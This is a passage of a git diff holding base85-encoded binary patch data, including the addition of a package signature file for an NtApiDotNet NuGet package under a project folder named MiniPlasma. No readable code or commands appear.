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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/NtApiDotNet.1.1.33/.signature.p7s b/MiniPlasma/packages/NtApiDotNet.1.1.33/.signature.p7s new file mode 100644 index 0000000000000000000000000000000000000000..958a6ba65eb1dd30f020111bbe929ecc59d96d21 GIT binary patch literal 9464 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 